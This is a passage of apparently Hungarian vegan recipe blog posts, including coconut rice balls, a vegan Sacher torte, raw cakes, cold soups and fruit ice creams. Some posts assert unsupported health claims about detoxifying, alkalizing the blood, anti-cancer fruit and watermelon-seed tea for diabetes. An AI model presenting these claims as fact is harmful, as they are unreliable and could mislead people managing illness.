"aki kókuszpálmát ültet, edényt, ruhát, ételt és italt, saját maga számára lakhelyet, a gyermekek számára örökséget ültet". Ugyan meglehetősen szokványos, hogy húsából készített reszeléket elsősorban sütéshez, főzéshez használjuk, mégis egy nem szokványos receptet mutatok be azzal, hogy "ostyagömböket" töltök meg kókuszos tejberizzsel. Kissé hasonló íze lett, mint a raffaeló-golyóknak, noha nem mártottam bele már semmibe, hogy egy külső "ruhát" is kapott volna. Így is hihetetlenül gyorsan elfogyott.
A recept:
Hozzávalók:
- 30 dkg barna rizs
- víz
- 4 dl kókusztej vagy más növényi tej
- édesítőszer (nyírfacukor vagy stívia vagy gyümölcscukor, stb.)
- 1 teáskanál biocsicsóka sűrítmény (opcionális)
- 5-10 dkg kókuszreszelék
- mandula és/vagy aszalt gyümölcs (pl: meggy, áfonya, stb.)
- 1 citrom vagy narancs lereszelt héja (opcionális)
Elkészítés:
A rizst miután jó alaposan átmostuk, közepes lángon feltesszük főzni úgy, hogy a víz éppen ellepje. Amikor a vizet magába szívta, felöntjük a kókusztejjel és tovább főzzük, de olykor-olykor megkeverjük, hogy ne égjen le. Amikor a rizsszemek megpuhultak, hozzákeverünk ízlés szerinti kókuszreszeléket (mi jó kókuszosan szeretjük). Nem kötelező, de biocsicsóka sűrítményt is adhatunk hozzá, valamint édesítjük számunkra megfelelően. Reszelt citrom- vagy narancshéjat is szórhatunk bele, különlegesebb ízhatás kedvéért.
Amíg a rizs a fentiek szerint megfő, van idő és lehetőség arra, hogy a megvásárolt ostyaformákat ollóval kivágjuk.
A félgömböket megtöltjük a kókuszos tejberizzsel, a közepébe pedig aszalt meggyet/áfonyát vagy egész mandulaszemet teszünk. Én mindkettővel kipróbáltam és nem tudnék választani, melyik a finomabb.
Az elkészült golyókat levegősen tegyük tálcára, így könnyebben megszikkadnak a hűtőben és nem lesz puha a külsejük.
Ilyen ostyalapot általában százforintos (egy eurós) boltokban szoktam látni.
Ez az egy Praliné Zsuzsi fotója
Fóliában sült kókuszolajos-fűszeres kukorica
2013. szeptember 2. Mindennapi ételeink
Amíg még lehet, fogyasszunk kukoricát is. Nálunk még nagyon szépeket lehet kapni a közeli piacon, egyik nap férjem lepett meg vele, így alufóliában sült, fűszeres-kókuszolajos kukoricát készítettem. Hozzávalók: 6 cső kukorica 6-8 tk. kókuszzsír 1-1 arányban, ízlés szerint kakukkfű, fokhagymagranulátum, borspótló (vagy borsikafű) 2-3 tk. Himalaya só Elkészítés: A kukoricákat megmossuk, megtisztítjuk és a csövek végeit levágjuk. Egy tálban a kókuszzsírt összekeverjük a sóval, kakukkfűvel, borspótlóval, fokhagymaporral, és bekenjük a kukoricákat - alufóliára fektetve - kb. 1-1,5 teáskanálnyi fűszerzsírral. Feltekerjük az alufóliákat, és 250 fokon 1 óra alatt kisütjük. Félidőben forgassuk a kukoricákat. Illatos, omlós, finom kukoricát kapunk így is. :) TIPP: a hozzánk hasonló nagyon elvetemültek süthetnek hozzá lilahagymát (kókuszolajjal kikent tepsibe egy lilahagymát karikázzunk fel és 150 fokon süssük ki), sőt, meg is locsolhatják fokhagymás-növényi tejföllel, akár a lángost .
Újabb kekszajánló- vegán kókuszos-korpás keksz
2013. augusztus 29. Mindennapi ételeink
Ismét a 2004 Rena Kft. jóvoltából egy kekszet ajánlok, amely megvásárolható a Szentendrei út 6-os szám alatti Ajándék Kuckóban. Ez a Santiveri kókuszos korpás omlós keksz , amely élelmi rostban gazdag, laktóz- tej-tojásmentes. Folsav és inulin hozzáadásával készült. És persze, nagyon finom, önmagában, vagy egy bögre növényi tej, esetleg egy doboz ízesített Alpro joghurt mellé igazi csemege. :-) Sőt, mi ma kókuszhabbal ettük. Húha....:-)
Szilvásgombóc (nyers)
Tegnap leszedtem az utolsó kosár sárga szilvámat, és gondoltam, ne maradjon már a szezon gombóc nélkül Csináltam kölesest és ezt a nyerset is, mert a tegnapi zabtejszín készítésből maradt épp ennyi zabrostom A zabtejszín receptjét itt olvashatjátok: http://eletkert.wordpress.com/2011/02/12/zabtejszin-nyers/ Hozzávalók másfél gombóchoz 1 kis tálka zabrost 1 ek kókuszreszelék 1 tk méz 2 szilva 1 kk […]
Édes kis (mandulás-aszalt barackos) semmiség
2013. augusztus 23. Mindennapi ételeink
A múltkor bemutatott keksz után egy újabb ajánló: tej-tojásmentes, mézes keksz a 2004 Rena Kft. jóvoltából....Kicsit felturbózva. :-) Hozzávalók: 10 dkg kókuszolaj 8-10 dkg karobpor 5 dkg nyírfacukor 10 dkg pirított mandula 5 dkg aszalt sárgabarack 3-4 szem aszalt datolya -- 1 csomag tej-tojásmentes Privolat omlós keksz - mézzel Elkészítés: A kókuszolajat felolvasztjuk, a nyírfacukrot megőröljük (kávédarálón), a datolyákat botmixerrel pépesítjük, a mandulákat pedig egy zsiradék nélküli edényben megpirítjuk, majd késes aprítóban rusztikus darabokra vágjuk. A barackot is nagyon apróra feldaraboljuk. Majd egy tálban mindent összekeverünk (először a nyírfacukrot és karobot, ill. a datolyát,és ezt követően a folyékony, vagy épp kenhető kókuszolajat), és a kekszekre kenjük mindezt. Behűtjük és kb. 1 óra elteltével tálaljuk is. :-)
Köleses patisszon lecsó
2013. augusztus 21. Vegavarázs
A ,,mi van a hűtőben gondolatsor szülte egytálétel. Jó lett, megtartom. Hozzávalók: 1 ek kókuszzsír vagy olaj 1/4 kk asafoetida (vagy hagyma) 3 paprika 1 patisszon 1 kk pirospaprika egy csipet őrölt feketebors 5 paradicsom 1 kk cukor 2 kk só 6 ek köles Előkészítjük a zöldségeket: megtisztítjuk a... tovább>>
Aszaltszilvás nyers csokitorta
Hmmmm…. a Mannaturalban evett a kisfiam egy hasonló tortát. Nem tudom, hogy az hogyan készült, megpróbáltam utánozni, ízre hasonlót kaptam.
A csokikrémje mennyei volt, szinte teljesen olyan, mint a lúdláb tortáé. Leitert Glória csupacsoki tortájának a csokikrém receptjét használtam fel rá csöpp módosítással, és csakis áradozni tudok róla.
Mennyiségeket és arányokat nem írok, a nyers ételeket nem lehet elrontani azzal, ha valamiből kicsit többet vagy kevesebbet teszünk.
Magtészta alap: diót aprítógépen morzsásra, apróra aprítunk, majd összekeverjük, összegyúrjuk a datolyavajjal, ami szintén ugyanígy készül, hogy aprítógépben az aszalt datolyát addig aprítjuk, míg összeáll vajszerű, sűrű masszává. Az alap ne legyen vastag, kb. 3 mm-nyi elegendő.
Szilvás réteg: aszalt szilvát és aszalt vörös áfonyát aprítógépben apróra daráltam, majd annyi vízzel összeturmixoltam, hogy lekvárszerű masszát kapjak. Ezt a lekvárt még ízesítettem csöppnyi citromlével, és annyi útifű maghéjat tettem bele, hogy ne folyjon a massza. Az útifű maghéjból sem kell sok, egy kis idő, mire megduzzad, és magába szívja a nedvességet. Mivel az aszalványok édesek, ezt sem szükséges tovább édesíteni.
Csokikrém: A torta java és lényege. Alapja a datolya. Datolyát összeturmixolunk annyi kókuszolajjal, hogy ellepje, majd adunk még hozzá kakaóport és egy kis natúr kesudiót, hogy “tejcsokisabb” legyen. Annyi meleg vizet adtam még hozzá, hogy ne legyen túl folyós az egész.
A magtésztát egy kapcsos tortaforma aljára nyomkodjuk, arra jön a szilvás réteg, és a tetejére a csokikrém. Ezt követően a mélyhűtőbe tesszük, hogy a csokikrém megkeményedjen annyira, hogy ne folyjon, vágható legyen. A kókuszzsír hideg hatására keményebb lesz, várjuk ki ezt az időt.
A csokikrém megdermedése után a torta fogyasztható, szeletelhető.
Jó étvágyat!
Barackos tejberizs
"A beszéd nem főzi meg a rizst". Érvelnek a szólással amellett, hogy a művelt embernek is szüksége van élelemre (és némi kétkezi munkára). Földünkön mintegy hárommillió embernek ad megélhetést a rizs. A rizs a világon a legrégebb óta termesztett gabonafajta. Jelenleg is több száz országban ültetik és aratják. A világ gabonatermésének a 30%-át a rizs adja. A világ rizstermésének mintegy fele olyan vidékről származik, amelyet teljes mértékben kézi erővel művelnek meg.
Mindezek után lássuk a receptet, mert a szövegelés nem főzi meg a rizst. :)
A recept:
Hozzávalók:
- 20 dkg barna rizs
- víz
- 3-4 dl növényi tej
- 3-4 db nektarin
- 6 db sárgabarack
- xilit/stivia/barnacukor/gyümölcscukor ízlés szerint.
Elkészítés:
A barna rizs szemeket átmossuk, majd annyi vízben, ami jól ellepi, majdnem puhára főzzük. Az így megfőtt rizshez növényi tejet vagy növényi tejszínt adunk, és most már addig főzzük, míg a rizsszemek teljesen megpuhulnak, tehát a folyadékot magába szívja a rizs. Édesítjük ízlésünknek megfelelően.
A barackokat megmossuk, felkockázzuk és a megfőtt tejberizshez keverjük. Télen használhatunk barackbefőttet is. Kipróbálhatjuk, hogy reszelt citrom- vagy narancshéjat adunk az így elkészült rizshez. Igazán különleges ízt ad neki. Kikapart vaníliát is adhatunk hozzá.
Tálalásnál megszórhatjuk a tetejét kókuszreszelékkel, egy kisebb szál mentát tűzhetünk a közepébe. Hidegen és melegen is finom. Kínálhatjuk desszertként vagy fogyaszthatjuk édes reggeliként.
Sacher - torta tej és tojásmentes, vegán verzióban
2013. augusztus 11. Vegagyerek
Gyorsan előrebocsátom, hogy igen, ez a képen látható Sacher nem lett befejezve (nem lett belekenve a lekvár, és hiányzik a csokimáz a tetejéről:-), de a tortaalap annyira finom, hogy muszáj gyorsan feltennem magamnak is, nehogy elkallódjon!:) Az alaprecept Attila Hildmann német vegán séftől származik, azt én egy kicsit módosítottam. A hozzávalókat illetően bevallom, az utóbbi időben cukrot (nádcukrot is) nagyon keveset használok, mivel leginkább agave sziruppal édesítek. Az olyan recepteknél viszont, ahol nagyobb mennyiségű édesítésre van szükség (pl. torták, sütemények, vendégségbe készült nagyobb mennyiségű desszertek stb.), leginkább anyagi okok miatt, még visszatérek időnként a cukorhoz. A cukor mennyiségét illetően először nagyon soknak tűnt, de aztán a viszonylag sok kakaó miatt abszolút elbírta, és nem lett egy túl édes torta! Aki nem használ kakaót, készítheti nyugodtan karobbal is, akkor érdemes a cukor hozzáadása közben kóstolgatni, mert a karob édesebb, mint a kakaó, és lehet, hogy akkor kevesebb cukor is elegendő! A receptet most megadom végig!:) Ja, és annyira jó szerintem, hogy alig lehet megkülönböztetni a tojásos verziótól, illetve nekem annál sokkal finomabb!:)) Amúgy nagyon ütős, a benne lévő zsiradék miatt, így (p.s.: a lekvárt is én csináltaaam:)) 25 üveggel idén...:-) Vegán, tej- és tojásmentes Sacher-torta Elkészítési idő: kb. 25 perc előkészítés + 35-40 perc sütés Hozzávalók (egy 24-26 cm-es tortaformához): A torta-alaphoz: 150 g teljes kiőrlésű liszt 150 g (bio) finom liszt 60 g kakaó/ vagy karob (ha karob, abból lehet kicsit kevesebb is) 200 g kókuszolaj / kókuszzsír (már a DM-ben is kapható!) 1 cs. foszfátmentes borkő sütőpor (pl. DM) egy csipet só 260 ml víz A csokimázhoz: 100 g kókuszolaj/ kókuszzsír 100 g étcsokoládé Kb. 8 ek. sárgabaracklekvár Melegítsük elő a sütőt 180 fokra! Keverjük simára a tortaalap összes hozzávalóját egy elektromos konyhai robotgéppel. Egy kapcsos tortaforma aljára helyezzünk egy méretre vágott sütőpapírt, a tortaforma oldalát pedig kenjük ki egy kis kókuszzsírral. Öntsük bele a masszát és süssük kb. 35-40 percig (sokkal tovább nem érdemes, mert akkor nagyon kiszárad a tészta!). Miután kihűlt, vágjuk félbe és kenjük meg a baracklekvárral. A csokimázhoz vízgőz fölött olvasszuk fel a csoki, adjuk hozzá a kókuszzsírt, olvasszuk össze, majd kb. 5 percig hagyjuk hűlni és utána öntsük a torta tetejére. Tálalás előtt tegyük néhány órára a hűtőbe.
Hűsítő a hőségben
Most, hogy a kánikula forró napjait élvezhetjük (már aki élvezi, én speciel igen), fontos, hogy a megfelelő hidratálásról ne feledkezzünk el. Talán nem mindenki tud nyáron sem eleget inni, mert pl. nincs hozzászokva. Azonban, ha 1-1 étkezést kiváltunk egy finom görögdinnye-tállal, máris több folyadékot juttatunk be szervezetünkbe. Nem hiába lehet olvasni elsősorban női célközönség számára íródó oldalakon, hogy dinnyét fogyókúrára is alkalmazhatjuk, ha mellette más, kalóriadúsabb ételt nem nagyon fogyasztunk.
Ami pedig a görögdinnye élettani hatását illeti, mivel magas víztartalma van (mintegy 90%), ezért kiválóan alkalmas belső szerveink - vese, bélrendszer, "átmosására", méregtelenítésére, salaktalanítására. A dinnye alig tartalmaz fehérjét vagy zsírt, gyümölcscukrot viszont annál inkább, ami pedig energiát ad a szervezetnek. Magas rosttartalommal bír és pektinjének köszönhetően megköti a koleszterint. A következő vitaminokat és ásványi anyagokat tartalmazza: B6, C és E- vitamint, niacint, folsavat, vasat, káliumot, kalciumot és mangánt, különféle karotinokat, amelyek A vitaminná alakulnak át szervezetünkben. Ha megfelelő időben esszük (nem étellel teli hassal, hanem inkább üres gyomorral), nem keverve más szénhidráttal (kenyér - pl.), akkor vérünk lúgosításában is részt vesz,
Magjairól kevesen tudják, hogy cukorbetegségre is jótékony hatással bír. Persze ha elfogyasztjuk a magját, mindenképpen rágjuk meg, ne egészben nyeljük le. Amúgy cukorbetegeknek felfőzik a dinnye megszárított magját, és ezt a teát isszák napi néhány bögrével.
Ennyi dicséret után akkor következzen egy gyors, egyszerű, ízletes dinnyesaláta receptje:
A recept:
Hozzávalók:
1 negyed dinnye
1-2 evőkanál kókuszreszelék
néhány levél menta és/vagy citromfű
Elkészítés:
A dinnye piros húsát apróbb kockákra felszeleteljük. Egy szép tálba rakjuk az első felét, és megszórjuk némi kókuszreszelékkel. Utána rárakjuk a többi dinnyekockát, majd az apró menta és/vagy citromfű leveleket. Gyengéd mozdulatokkal egy kanál vagy fakanál segítségével kicsit átforgatjuk, a tetejét a fűszernövények leveleivel még tovább díszíthetjük. Kész is a hűsítő, hidratáló finomság. Ha lehűtött dinnyével készítjük, úgy az igazi! A dinnyét vagy hűvös pincében tároljuk, vagy ha hűtőben van csak rá alkalmunk, akkor fogyasztás előtt úgy fél órával vegyük ki, hogy igazán érezzük annak finom ízét.
Sajtos perec /sajtos karika
Kiszaggathatjuk perec szaggatóval, vagy ilyennel, amit én használtam, de készíthetünk belőle sajtos rudat is. Hozzávalók: 50 dkg liszt 20 dkg kókuszzsír 1 dkg élesztő 2,5 kk só 1 kk cukor 1 kk pirospaprika 20 dkg reszelt sajt 3-4 ek tejföl A lisztbe beletesszük a kókuszzsírt, a sót, a cukrot, a... tovább>>
A világ egyik legegyszerűbb vegán jégkréme :-)
2013. július 29. Mindennapi ételeink
Tegnap a facebook oldalon ígértem egy szupergyors jégkrém receptet. Nos, ez a fotó a gyermek szakácskönyvből való, de ott másik két recept szerepel. Most egy újabbat találtam ki, ami teljesen ugyanígy nézett ki, így ilyen melegben nem izzítottuk be ismét a gépet, hanem kölcsönvettük a könyv fotóját. :-) Hozzávalók: 4 doboz Alpro erdei gyümölcsös szójajoghurt 2 kisebb banán 30 dkg málna /gyümölcs 2 ek. Cocomas kókuszkrém (elhagyható) Elkészítés: A joghurtokat tálba öntjük, hozzáturmixoljuk a banánokat, a gyümölcsöt, és ha van otthon, a kókuszkrémet (anélkül is tökéletes lesz, csak mi most kaptunk egy dobozzal, így kísérleteztem). Vagy műanyag tálkába öntjük és úgy tesszük mélyhűtőbe, vagy jégkrémformákba, és úgy pihentetjük a mélyhűtőben, amíg meg nem fagy (40-50 perc). TIPP: bármilyen szójajoghurttal és ahhoz illő gyümölccsel finom. Sőt, natúr szójajoghurt + emelt gyümölcstartalommal is nagyon jó lesz :-)
Nyári - Hűsítő Levesek: Bazsalikomos - Gaspacho, Avokádós - Spárgakrémleves
2013. július 26. Fittanyuka Blog
Nagyon szeretem nyáron a vitamin, - enzim dús, hideg leveseket telis-tele friss zöldségekkel. Nemcsak vitaminokkal, nyomelemekkel töltik fel szervezetünket, hanem kiváló bázikus ételek, a nyers zöldségek, pedig méregtelenítik, -hűtik a májat, főleg ha esszenciális olajokkal is gazdagítjuk őket! Előnyük még ezeknek a leveseknek az egészség mellett, hogy gyorsan elkészíthetőek és azonnal tálalhatóak, vendégkínálónak, akár grillpartin is tálalhatjuk őket. Az idei nyár két nagy kedvenc leves receptemet osztom meg veletek: Életmód Tipp: Ha ezeket a leveseket uzsonnára fogyasztjátok, vagy vacsorára és mellé már nem fogyasztotok mást, kellőképpen méregteleníteni fog a szervezet, mert erősen lúgosító, hidratáló hatásúak, így jó pár kilogrammtól megszabadulhattok! Olyan két természetes 100%-ban természetes, csakis kizárólag növényi összetevőkből álló, adalékmentes wellness levesport választottam alapnak amelyeknek a kellemes íz mellett magas a növényi fehérjetartalma és rosttartalma és speciális szárítási eljárással készültek, hogy a bennük lévő zöldségek megőrizzék vitamin,-ásványianyag tartalmukat. Nekem ezek a levesporok olyanok, mint egy természetes leveskocka, a többi a fantáziámra van bízva. Rengeteg friss zöldséggel, hidegen sajtolt, esszenciális olajokkal teszem élővé őket és a variálhatósági lehetőség szinte végtelen. Hideg Bazsalikomos - Gaspacho leves Hozzávalók: 2 főre 4 friss paradicsom 3 cikk fokhagyma 2 evőkanál hidegen sajtolt olíva olaj 4 evőkanál Wellness bazsalikomos paradicsom levespor 1-2 kk himalaya só pár levél friss bazsalikom késhegynyi őrölt zöld, vagy fekete bors 1/2 citrom leve 550 ml víz 4-5 db jégkocka Feltét: 1/2 db kígyó uborka lehéjazva, hasábokra vágva 1 db kaliforniai paprika felkockázva 1/2 db lilahagyma kockára vágva friss bazsalikom felaprítva 1 db paradicsom felkockázva Tálaláskor tehetünk mellé pirított tönköly-élesztőmentes kenyeret, melyet megcsorgatunk hidegensajtolt olíva olajjal. A paradicsomokat keresztben bemetsszük és lobogó vízbe dobjuk 1 percre, majd miután kihűltek lehéjazzuk őket, feldaraboljuk és a többi hozzávalóval krémesre turmixoljuk. A gazdag feltéttel tálaljuk. Avokádós - Spárgakrémleves Hozzávalók: 2 főre 1 db avokádó lehéjazva, kimagozva 1/2 citrom leve 250 ml kókusz tejszín 1 cikk fokhagyma friss petrezselyemzöldje vagy friss kapor 4 evőkanál Wellness spárgakrém levespor 1 kk himalaya só 2 evőkanál hidegen sajtolt olíva olaj vagy tökmagolaj 4-5 db jégkocka Az alapanyagokat alaposan, krémesre összeturmixoljuk. Feltét: Friss kapor, szeletelt uborka, szezámmag vagy tökmaggal megszórjuk. A leves tetejére csorgathatjuk a tökmag vagy olíva olajat. Részletes információ kérés, kedvezményes vásárlási lehetőség a wellness levesporokkal kapcsolatosan: fittanyuka@gmail.com Fittanyuka
Kókuszos gofri
Tudom, hogy már a 20. gofri recept a blogon, de ez még a szkeptikusabbak szerint is finomra sikerült. Mostanában mindig kísérletezek vele, hogy minél több lúgosító, illetve ritkábban használt alapanyag kerüljön bele. Legutóbb igen kellemesre sikerült, viszonylag lassan sült ugyan, de ropogósra. Hozzávalók: 1 bögre rozsliszt 1 bögre hajdinaliszt 1 bögre kölesliszt 1,5 bögre zabliszt 1/2 bögre kókuszreszelék 1 dl oliva olaj gyümölcscukor vanília 8 dl szénsavas víz 2 dl növényi tej 1 marék kesudió 1 marék szezámmag Először a kesudiót és szezámmagot turmixoljuk finomra némi vízzel. (Ha nincs turmixunk, meg kell darálni a magokat.) A többi száraz hozzávalót összekeverjük, majd beleöntjük a folyadékokat, és egybeturmixoljuk az egészet. Sűrű masszát kell, hogy kapjunk, amit azután a gofri sütőbe kanalazunk, és bő 10 perc alatt sütünk meg. Friss gyümölcsökkel, vagy abból készült szószokkal fogyaszthatjuk. Pl. a most érő sárgabarackot összeturmixolhatjuk, és azzal önthetjük le a gofrikat.
Tönköly - Zablisztes túrókrémmel töltött Palacsinta
2013. július 20. Fittanyuka Blog
Ha hétvége akkor nálunk palacsinta! Mind közül nekem ez a kedvencem: a túrókrémmel töltött, amely tej,-laktóz,-tojás,-cukormentes és könnyen emészthető. A könnyű emészthetőség titka nemcsak az értékes, rostdús lisztek miatt van, hanem a kisütéséhez nem használok hidrogenizált zsírokat, hanem a kókusz olajat amely színtelen, szagtalan, nehezebben, magasabb hőfokon ég csak és ennek köszönhetően a lakásban nem érződik a tipikus palacsintát sütünk szag. Sokan kértétek a receptet a Fittanyuka / facebook oldalon, a recept pofon egyszerű: Palacsinta tészta kb: 15-20 db Hozzávalók: 300 g világos tönköly liszt 200 g zabpehely liszt 2 evőkanál folyékony stevia, vagy nyírfacukor késhegynyi szódabikarbóna 1/2 citrom reszelt héja 1 l víz kevés kókusz olaj a kisütéséhez A hozzávalókból palacsinta tésztát kavarunk, ha szükséges adhatunk hozzá kevés vizet és a hagyományos palacsintához hasonlóan egyenként kisütjük őket. Túrókrém Hozzávalók: 300 g natúr tofu 3 evőkanál folyékony stevia vagy nyírfacukor 200 ml kókusz tejszín 1 kk Bourbon vanília 1 citrom reszelt héja 1/2 citrom leve A tofut összemorzsoljuk és botmixer segítségével a többi hozzávalóval krémesre turmixoljuk. Aki valamilyen oknál kifolyólag nem fogyaszt tofut, elkészítheti kölesből is a krémet: 100 - 150 g kölest megfőz háromszoros mennyiségű vízben, miután kihűlt a fenti hozzávalókkal összedolgozza a kézi botmixer segítségével. A reformélelmiszer alapanyagokat a Jó egészséget! webáruházban tudja beszerezni. Fittanyuka
Kókusztejes barackturmix
Kívül szőrös, belül nedves, gyerekeknek igen kedves. Mi az? - Szól a kedves fejtörő. de bizony nem csak gyerekeknek kedves. Amióta érnek a csengő sárgabarackok, naponta többen keresnek és találnak rám különböző keresőprogramok segítségével barackturmix témában. Nem is gondoltam volna, hogy ennyire kereslete lesz tavalyi bejegyzésemnek. Most is teszek fel egy barackturmix receptet, a tavalyihoz képes kicsi módosítva. Kókusztejjel készítve különleges ízt varázsolhatunk a barack mellé!
A recept:
Hozzávalók:
- 8-10 szem sárgabarack (kisebb méretűek esetén több)
- 3-4 dl kókusztej
- néhány szál mentalevél díszítésnek
- turmixgép
Elkészítés:
A barackokat megmossuk, kimagozzuk és darabokra vágva a turmixgép poharába tesszük. Hozzáöntjük a korábban elkészített kókusztejet és addig turmixoljuk, míg a barack teljesen összetörik és sűrű, de folyékony italt kapunk.
Édesíteni azért sem szükséges, mert a barack gyümölcscukrot tartalmaz (főleg, ha puha, érett). Ha mégsem elég édes, egy kevés mézzel vagy apróra vágott datolyával tovább édesíthetjük.
Mentalevéllel díszíthetjük, de ha azt is elfogyasztjuk, megízesíti italunkat.
Természetesen bármely más növényi tejjel, vagy akár vízzel is elkészíthető, de kókusztejjel igazán különleges íze van!
Meggyes kalács
Meggyszezon ideje lassan véget ér sajnos, pedig nagyon szeretem savanykás, nap-érlelte ízét.Most egy olyan receptet mutatok be, amely fagyasztott vagy befőtt meggyszemekből is elkészíthető. Akár gasztro-ajándékként is adható, ha édesszájú a megajándékozottunk. Én most kevesebb cukorral készítettem, de aki édesebben szereti, tehet hozzá többet. Az eredeti recept szerint fehér cukorból kb.10-15 dkg kellene bele. De a gyümölcs- vagy nyírfacukor lényegesen édesebb a fehérnél, és persze egészségesebb is, mivel alacsonyabb a glikémiás indexe, tekintettel arra, hogy a szervezetben nem fejt ki nagy vércukor ingadozást.
A recept:
Hozzávalók:
- 20 dkg teljes kiőrlésű liszt
- 30 dkg fehér liszt
- 1 dkg biocsicsóka
- 5 dkg barna cukor/nyírfa cukor
- 7 dkg folyékony kókuszzsír vagy olaj
- 1,5 dl meggylé (meggyből kicsavarva a legjobb)
- 1 bögrényi magozott meggy
- 3 dl növényi tej
- fél kávéskanál só
Elkészítés:
Fontos figyelnünk arra, hogy a konyhában, ahol készítjük a kalácsot, meleg legyen, ez nyáron még könnyebben adott, de huzat ekkor se legyen.
Az élesztőt a kenyérsütő üstjébe morzsoljuk, a biocsicsókát és az 5 dkg cukorból egy keveset beleteszünk, majd ráöntjük a felmelegített (kézmeleg) növényi tejet. Megvárjuk, míg az élesztő a tej felszínére kel. Amikor az élesztő a felszínre jött, hozzáadjuk a többi tejet, cukrot, sót. Ezt követően a teljes kiőrlésű lisztet szórjuk bele, majd a kókuszzsírt, vagy olajat, végül a fehér lisztet.
Dagasztó programot választunk. Kenyérsütő gép nélkül mi is összekeverhetjük - a tészta akkor jó, amikor a kézi dagasztás során már elválik az edény falától és hólyagos. Minél több lyukacskák keletkeznek a tésztában, annál jobb lesz. Ha kézzel dolgozunk, akkor kilisztezett edényben, konyharuhával letakarva meleg helyen kb. 1 órát pihentetjük, kelesztjük a tésztát. Mielőtt a konyharuhával letakarjuk, a tetejét is szórjuk meg egy kevés liszttel.
Amikor megdagadt, a tésztát két részre választjuk. Az egyikhez keverünk még meggylevet és a magozott meggyet, majd annyi lisztet, amennyit felvesz, így szép piros színe lesz. Elképzelhető, hogy egy picit ezt a tésztát tovább kell édesíteni. Ez azon is múlik, ki mennyire édes szájú. Ha szükséges, még egy kis barna cukrot, vagy nyírfa cukrot keverhetünk hozzá.
Így két tésztát kapunk - fehéret és pirosat. Fogunk egy sütőformát, sütőpapírral kibéleljük és először a fehér tésztát tesszük bele, majd a meggyes tésztát. A formában pihenő tésztát letakarjuk és meleg helyen úgy fél órát tovább kelesztjük. Amikor a tészta ismét megkelt, kb. 30-40 perc alatt szép barnára sütjük.
Miután megsült, kicsit pihentetjük a formában, majd kiszedjük belőle óvatos mozdulatokkal. Ha teljesen kihűlt, szeletekre vágjuk. Porcukorral vagy szőlőcukorral meghinthetjük. Lekvárral (pl. meggylekvár) is fogyaszthatjuk.
Finom vendégváró desszert, de iskolába is csomagolhatjuk, vagy kiránduláshoz is remek csemege.:) Édes reggeliként is elfogyaszthatjuk.
Nektarin fagylalt
Ha finom, színezék, állományjavító és zselésítőanyag mentes nyári édességgel csillapítanád a forróságot, ne a sarki fagyizóban keresd. Otthon is könnyen elkészíthető, finom vegán fagyival lepd meg magad és a családodat. A nektarin jót tesz a szív és érrendszernek, vérnyomáscsökkentő, felüdíti a szervezetünket. Magas A, B, C vitamin tartalma bőrszépítő, antioxidáns tartalma pedig rákellenes hatással bír. Hozzávalók:
- 3 db érett nektarin (a héját szedjük le)
- 6 dl kókusztej
- 2-3 evőkanál cukor (opcionális)
- 1 teáskanál bourbon vanília kivonat (opcionális)
Így készítsd el:
A nektarint és a kókusztejet felhasználás előtt hűtsd le.
A meghámozott nektarinokat darabold fel és botmixerrel pürésítsd egy edényben.
Öntsd hozzá a cukrot a vaníliát és a kókusztejet, és mixeld össze.
Tegyük fagyi gépbe, vagy egy fagyasztható edénybe a fagyi pürét. A gép elkészíti helyettünk a jeges finomságot. Ha nincs gépünk, akkor a fagyasztóból félóránként, óránként ki kell vennünk az edényt, hogy átkavarjuk a masszát. Tegyük ezt mindaddig, amíg meg nem fagy.
Mákos tészta - muffin
2013. július 4. Mindennapi ételeink
Vigyázat, csúnya, de finom. Ha egy kis csavarra vágyunk, készítsük el így a mákos tésztát, akár egy ebédre, akár reggeli finomságnak. Hozzávalók: 25 dkg cérnametélt/szélesmetélt 35 dkg mák 10 dkg nyírfacukor 1 citrom héja 15 dkg eper Elkészítés: A tésztát kifőzzük. A mákot megdaráljuk és hozzáadjuk a darált nyírfacukrot is. Hozzáadjuk a megmosott, felaprított epret, a citromhéjat. Majd a kifőtt,leszűrt tésztát hozzákeverjük és kókuszolajjal kikent muffin formákba töltve kisütjük. (160 fokon, kb. 20 perc alatt.) TIPP: Tálaljuk eperszósszal, tejszínhabbal. Mindez málnával vagy sárgabarackkal is nagyon finom!
Kölesgombóc gyümölcsszósszal
Most, amikor olyan sok a meggy, hogy az ágak a földig érnek, pár naponta gyümölcsturmix készül a felhasználásával. Az egyik reggel a köleshez sűrűbb szószt készítettem. Még volt a Hugicám által szedett eperből - nagyon köszönöm, olyan finom édesek. Adtam hozzá pár darabot, és némi őrölt szezámmagot, illetve vaníliaport. Egyszerű, hamar elkészül, ízletes, és nem utolsó sorban egészséges is, mert a szezámmagnak magas és a meggynek is magas a kalcium tartalma, gazdagok ásványi anyagokban és vitaminokban. Utóbbi fogyasztásával flavonoidokat és antioxidánsokat, előbbivel telítetlen zsírsavakat és lecitint juttathatunk a szervezetünkbe. (Férj szerint kár a rizsa, a meggy finom! :) ) Gyümölcsszósz Hozzávalók: 40 dkg meggy 10 dkg eper 10 dkg szezámmag 10 dkg mandula (opcionális) 1 ek méz vaníliapor Összeturmixoljuk és fogyasztjuk. Ha sűríteni szeretnénk, adhatunk hozzá darált mandulát. Kölesgombóc Hozzávalók: 1 bögre köles 3 bögre víz 2 ek gyümölcscukor 2 ek kókuszreszelék 1 csipet só vaníliapor A kölest háromszoros vízben bő 20 perc alatt megfőzzük sóval és kókuszreszelékkel. A végén hozzákeverjük a vaníliát és a cukrot. Lehűtjük, majd gombócokat formálunk belőle. A szósszal leöntve tálaljuk. Candidások méz és gyümölcscukor helyett sztíviát használjanak, és hagyják ki a kókuszreszeléket.
Spenótos-paradicsomos csicseriborsó
Ezt a receptet a Goodfood 2013. májusi számában leltem, és hát azt kell mondjam, mindenki sajnálhatja, aki nem érezte az elkészült étel illatát és ízét!:))) A spenótra facsarunk a végén citormlevet, így a C-vitaminnal együtt a spenótban lévő vas kiválóan beépül! Isteni finom volt, és nagyon tartalmas, jó szívvel ajánlom mindenkinek!:) Spenótos-paradicsomos csicseriborsó Elkészítési idő: 55 perc Hozzávalók (6 főre): 1 vöröshagyma, felaprítva 2 gerezd fokhagyma, felaprítva 3 cm-es gyömbérdarab lereszelve 6 érett paradicsom apróra vágva 1/2 ek. olaj 1 tk. őrölt római kömény 1 tk. kurkuma 2 tk. őrölt koriander csipetnyi csilipehely (elhagyható) 1 tk. sörélesztőpehely (nekem épp nem volt itthon...) 4 ek. vörös lencse 6 ek. kókusztejszín, vagy sűrű kókusztej 1 fej brokkoli rózsákra szedve 400 g-os csicseriborsó konzerv leszűrve 100 g bébispenót 1 citrom félbevágva 1 ek. pirított szezámmag 1 ek. apróra vágott kesudió A 